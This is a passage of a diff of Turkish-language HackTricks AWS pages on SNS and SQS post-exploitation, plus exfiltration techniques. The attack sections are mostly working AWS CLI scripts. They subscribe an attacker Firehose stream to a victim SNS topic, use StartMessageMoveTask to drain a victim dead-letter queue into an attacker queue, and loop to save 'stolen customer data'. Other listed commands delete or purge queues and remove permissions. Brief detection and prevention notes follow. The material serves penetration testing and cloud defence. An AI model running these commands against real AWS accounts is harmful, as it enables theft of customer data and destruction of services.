--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Cleanup
|
||||
- SNS aboneliğini, Firehose delivery stream'ini, geçici IAM rolleri/politikalarını ve saldırgan S3 bucket'ını silin.
|
||||
|
||||
## Impact
|
||||
**Potansiyel Etki**: Hedeflenen SNS konusuna yayınlanan her mesajın, minimum işletimsel ayak iziyle, saldırgan tarafından kontrol edilen depolamaya sürekli ve kalıcı exfiltration'ı.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+150
@@ -0,0 +1,150 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Açıklama
|
||||
|
||||
SQS message move task'larını istismar ederek, kurbanın Dead-Letter Queue (DLQ)'sinde biriken tüm mesajları `sqs:StartMessageMoveTask` kullanarak saldırgana ait bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini kullanarak zaman içinde DLQ'larda biriken hassas verileri exfiltrate etmeye yarar.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
A Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS queue'dur. Bu başarısız mesajlar genellikle şunları içerir:
|
||||
- İşlenemeyen hassas uygulama verileri
|
||||
- Hata detayları ve debugging bilgileri
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials veya diğer secret'lar
|
||||
- İş açısından kritik işlem verileri
|
||||
|
||||
DLQ'lar başarısız mesajlar için bir "mezarlık" görevi görür ve uygulamaların düzgün işleyemediği hassas verileri zaman içinde biriktirdikleri için değerli hedefler haline gelirler.
|
||||
|
||||
## Saldırı Senaryosu
|
||||
|
||||
**Gerçek dünya örneği:**
|
||||
1. **E-commerce uygulaması** müşteri siparişlerini SQS üzerinden işler
|
||||
2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ya taşınır
|
||||
3. **DLQ haftalar/aylar boyunca** müşteriye ait veri içeren başarısız siparişleri biriktirir: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Saldırgan**, SQS izinlerine sahip AWS kimlik bilgilerine erişim sağlar
|
||||
5. **Saldırgan keşfeder** ki DLQ binlerce hassas müşteri siparişi içeriyor
|
||||
6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve fark edilir), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna toplu olarak taşır
|
||||
7. **Saldırgan tek bir operasyonla** tüm geçmişe dair hassas verileri çıkarır
|
||||
|
||||
## Gereksinimler
|
||||
- Kaynak kuyruk bir DLQ olarak yapılandırılmış olmalı (en az bir queue tarafından RedrivePolicy ile referans verilmiş olmalı).
|
||||
- IAM izinleri (ele geçirilmiş kurban prinsipiyle çalıştırılacak):
|
||||
- DLQ (source) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Destination queue üzerinde: mesaj teslimine izin veren izin (ör. kurban prinsipi tarafından `sqs:SendMessage`'a izin veren queue policy). Aynı hesap içindeki destinasyonlar için bu genellikle varsayılan olarak izinlidir.
|
||||
- Eğer SSE-KMS etkinse: source CMK üzerinde `kms:Decrypt`, destination CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Etki
|
||||
DLQ'larda birikmiş hassas payload'ları (başarısız event'ler, PII, token'lar, uygulama payload'ları) yerleşik SQS API'leri kullanarak yüksek hızda exfiltrate edebilirsiniz. Eğer destinasyon queue policy, kurban prinsipi tarafından `SendMessage`'a izin veriyorsa cross-account çalışır.
|
||||
|
||||
## Nasıl Kötüye Kullanılır
|
||||
|
||||
- Hedef DLQ ARN'sini belirleyin ve gerçekten bir DLQ olarak başka bir queue tarafından referans verildiğinden emin olun (herhangi bir queue yeterlidir).
|
||||
- Saldırgana ait bir destination queue oluşturun veya seçin ve ARN'sini alın.
|
||||
- Hedef DLQ'dan destination queue'ya bir message move task başlatın.
|
||||
- İlerlemeyi izleyin veya gerekirse iptal edin.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve e-commerce uygulamasının failed müşteri sipariş işlemlerini içeren bir DLQ kullandığını keşfetmiştir.
|
||||
|
||||
1) **Hedef DLQ'yu keşfedin ve inceleyin**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Saldırgan tarafından kontrol edilen hedef kuyruğu oluşturun**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Toplu mesaj hırsızlığını gerçekleştir**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Çalınan hassas verileri toplama**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Hesaplar arası notlar
|
||||
- Hedef kuyruğun, hedef principal'in `sqs:SendMessage` yapmasına izin veren bir resource policy'si olmalıdır (ve, kullanılıyorsa, KMS grants/permissions).
|
||||
|
||||
## Neden Bu Saldırı Etkili
|
||||
|
||||
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zordur
|
||||
2. **Toplu İşlem**: Yavaş tek tek erişim yerine binlerce mesajı hızlıca taşır
|
||||
3. **Geçmiş Veriler**: DLQ'lar haftalar/aylar içinde hassas veriler biriktirir
|
||||
4. **Radarın Dışında**: Birçok kuruluş DLQ erişimini yakından izlemez
|
||||
5. **Hesaplar Arası Yeteneği**: İzinler olursa saldırganın kendi AWS hesabına veri sızdırabilir
|
||||
|
||||
## Tespit ve Önleme
|
||||
|
||||
### Tespit
|
||||
Şüpheli `StartMessageMoveTask` API çağrılarını tespit etmek için CloudTrail'i izleyin:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Önleme
|
||||
1. **En Az Ayrıcalık**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere kısıtlayın
|
||||
2. **DLQ'ları İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmı kurun
|
||||
3. **Hesaplar Arası Politikalar**: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle gözden geçirin
|
||||
4. **DLQ'leri Şifreleyin**: SSE-KMS kullanın ve sınırlı anahtar politikaları uygulayın
|
||||
5. **Düzenli Temizlik**: Hassas verilerin DLQ'lerde süresiz birikmesine izin vermeyin
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Olası Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Bir saldırgan, tüm bir SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Olası Etki**: Silinen kuyruğu kullanan uygulamalar için mesaj kaybı ve hizmet kesintisi.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesaj kaybına ve bu mesajlara bağımlı uygulamaların potansiyel olarak kesintiye uğramasına yol açar.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Olası Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Olası Etki**: Yanlış yapılandırmalar, performans düşüklüğüne, güvenlik sorunlarına veya azalmış kullanılabilirliğe yol açabilir.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Bir saldırgan, SQS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanıcılar veya hizmetler için izinleri iptal edebilir. Bu, kuyruğa bağımlı uygulamaların normal işleyişinde kesintilere yol açabilir.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Potansiyel Etki**: Kuyruğa bağımlı uygulamaların normal işleyişinin bozulması, yetkisiz izin kaldırma nedeniyle.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Bir saldırgan SQS kuyruğuna kötü amaçlı veya istenmeyen mesajlar gönderebilir; bu, potansiyel olarak veri bozulmasına, istenmeyen işlemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Potansiyel Etki**: Zafiyet istismarı, veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Bir saldırgan SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir; bu durum bu mesajlara bağımlı uygulamalarda mesaj kaybına, veri bozulmasına veya hizmet aksamasına neden olabilir.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Potansiyel Etki**: Hassas bilgilerin çalınması, mesaj kaybı, veri bozulması ve etkilenen mesajlara bağlı uygulamalar için hizmet kesintisi.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Bir saldırgan tüm bir SQS kuyruğunu silebilir; bu, mesaj kaybına neden olur ve kuyruğa bağlı uygulamaları etkiler.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Olası Etki**: Silinen kuyruğu kullanan uygulamalar için mesaj kaybı ve hizmet aksaması.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Bir saldırgan, bir SQS kuyruğundaki tüm mesajları silebilir; bu, mesaj kaybına ve bu mesajlara güvenen uygulamalarda potansiyel hizmet aksamasına yol açar.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Potansiyel Etki**: Temizlenen mesajlara bağlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir; bu da kuyruğun performansını, güvenliğini veya kullanılabilirliğini etkileyebilir.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Olası Etki**: Yanlış yapılandırmalar performans düşüşüne, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Bir saldırgan SQS kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun maliyet dağılımını, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet dağılımı, kaynak takibi ve etiket tabanlı erişim kontrolü politikalarında aksama.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Bir saldırgan, SQS kuyruğuyla ilişkili politikaları kaldırarak meşru kullanıcıların veya servislerin izinlerini iptal edebilir. Bu, kuyruğa bağlı uygulamaların normal işleyişinde aksamalara yol açabilir.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Potansiyel Etki**: İzinlerin yetkisiz kaldırılması nedeniyle kuyruğa bağlı uygulamaların normal işleyişinin bozulması.
|
||||
|
||||
### Daha fazla SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Açıklama
|
||||
|
||||
SQS message move task'larını kötüye kullanarak, mağdurun Dead-Letter Queue (DLQ)'sinde birikmiş tüm mesajları `sqs:StartMessageMoveTask` kullanarak saldırgan kontrollü bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini DLQ'lerde zaman içinde biriken hassas verileri sızdırmak için suistimal eder.
|
||||
|
||||
## Dead-Letter Queue (DLQ) nedir?
|
||||
|
||||
Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir:
|
||||
- İşlenemeyen hassas uygulama verileri
|
||||
- Hata ayrıntıları ve debug bilgileri
|
||||
- Kişisel Tanımlayıcı Bilgiler (PII)
|
||||
- API tokenları, kimlik bilgileri veya diğer sırlar
|
||||
- İş açısından kritik işlem verileri
|
||||
|
||||
DLQ'ler başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların düzgün işleyemediği hassas verilerin zamanla birikmesi nedeniyle değerli hedeflerdir.
|
||||
|
||||
## Saldırı Senaryosu
|
||||
|
||||
**Gerçek dünya örneği:**
|
||||
1. **E-ticaret uygulaması** müşteri siparişlerini SQS üzerinden işler
|
||||
2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ye taşınır
|
||||
3. **DLQ haftalar/aylar boyunca** müşteri verileri içeren başarısız siparişlerle dolar: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Saldırgan, SQS izinlerine sahip AWS kimlik bilgilerini ele geçirir**
|
||||
5. **Saldırgan DLQ'nin** binlerce hassas veri içeren başarısız sipariş barındırdığını keşfeder
|
||||
6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve bariz), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna toplu aktarır
|
||||
7. **Saldırgan tek bir operasyonla** geçmişe dönük tüm hassas verileri çıkarır
|
||||
|
||||
## Gereksinimler
|
||||
- Kaynak kuyruk en az bir kuyruğun RedrivePolicy'si tarafından referans verilen bir DLQ olarak yapılandırılmış olmalıdır.
|
||||
- IAM izinleri (ele geçirilmiş mağdur kimliği olarak çalıştırılır):
|
||||
- DLQ üzerinde (kaynak): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Hedef kuyruk üzerinde: mesaj teslimi izni (örn. mağdur kimliği için `sqs:SendMessage` izni veren kuyruk politikası). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir.
|
||||
- Eğer SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Etki
|
||||
**Olası Etki**: DLQ'lerde birikmiş hassas yükleri (başarısız olaylar, PII, tokenlar, uygulama yükleri) yerel SQS API'leri kullanarak yüksek hızda sızdırma. Hedef kuyruk politikası mağdur kimliğinden `SendMessage` izin veriyorsa hesaplar arası da çalışır.
|
||||
|
||||
## Nasıl Kötüye Kullanılır
|
||||
|
||||
- Mağdur DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak en az bir kuyruk tarafından referans verildiğinden emin olun (herhangi bir kuyruk yeterlidir).
|
||||
- Saldırgan kontrollü bir hedef kuyruk oluşturun veya seçin ve onun ARN'sini alın.
|
||||
- Mağdur DLQ'den hedef kuyruğunuza bir message move task başlatın.
|
||||
- Gerekirse ilerlemeyi izleyin veya iptal edin.
|
||||
|
||||
### CLI Örneği: E-ticaret DLQ'sinden Müşteri Verilerini Sızdırma
|
||||
|
||||
**Senaryo**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve bir e-ticaret uygulamasının SQS ile bir DLQ kullandığını, DLQ'nin başarısız müşteri sipariş işlemleri içerdiğini keşfetmiştir.
|
||||
|
||||
1) **Mağdur DLQ'sini keşfet ve incele**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Saldırgan kontrollü hedef kuyruğu oluşturun**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Toplu mesaj hırsızlığını gerçekleştir**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Çalınan hassas verileri topla**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Hesaplar arası notlar
|
||||
- Hedef kuyruğun, kurban principal'in `sqs:SendMessage` yapmasına izin veren bir kaynak policy'si olmalıdır (ve kullanılıyorsa KMS grants/permissions).
|
||||
|
||||
## Neden Bu Saldırı Etkili
|
||||
|
||||
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zor
|
||||
2. **Toplu İşlem**: Yavaş tek tek erişim yerine binlerce mesajı hızlıca aktarır
|
||||
3. **Tarihsel Veri**: DLQ'lar haftalar/aylar içinde hassas veriler biriktirir
|
||||
4. **Fark Edilmeden**: Birçok kuruluş DLQ erişimini yakından izlemez
|
||||
5. **Hesaplar Arası Yeteneği**: İzinler varsa saldırganın kendi AWS hesabına exfiltrate yapabilir
|
||||
|
||||
## Tespit ve Önleme
|
||||
|
||||
### Tespit
|
||||
Şüpheli `StartMessageMoveTask` API çağrılarını CloudTrail'de izleyin:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Önlemler
|
||||
1. **En Az Ayrıcalık**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere kısıtlayın
|
||||
2. **DLQ'leri İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmları kurun
|
||||
3. **Hesaplar Arası Politikalar**: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle inceleyin
|
||||
4. **DLQ'leri Şifreleyin**: Kısıtlı anahtar politikalarıyla SSE-KMS kullanın
|
||||
5. **Düzenli Temizlik**: Hassas verilerin DLQ'lerde süresiz birikmesine izin vermeyin
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+54
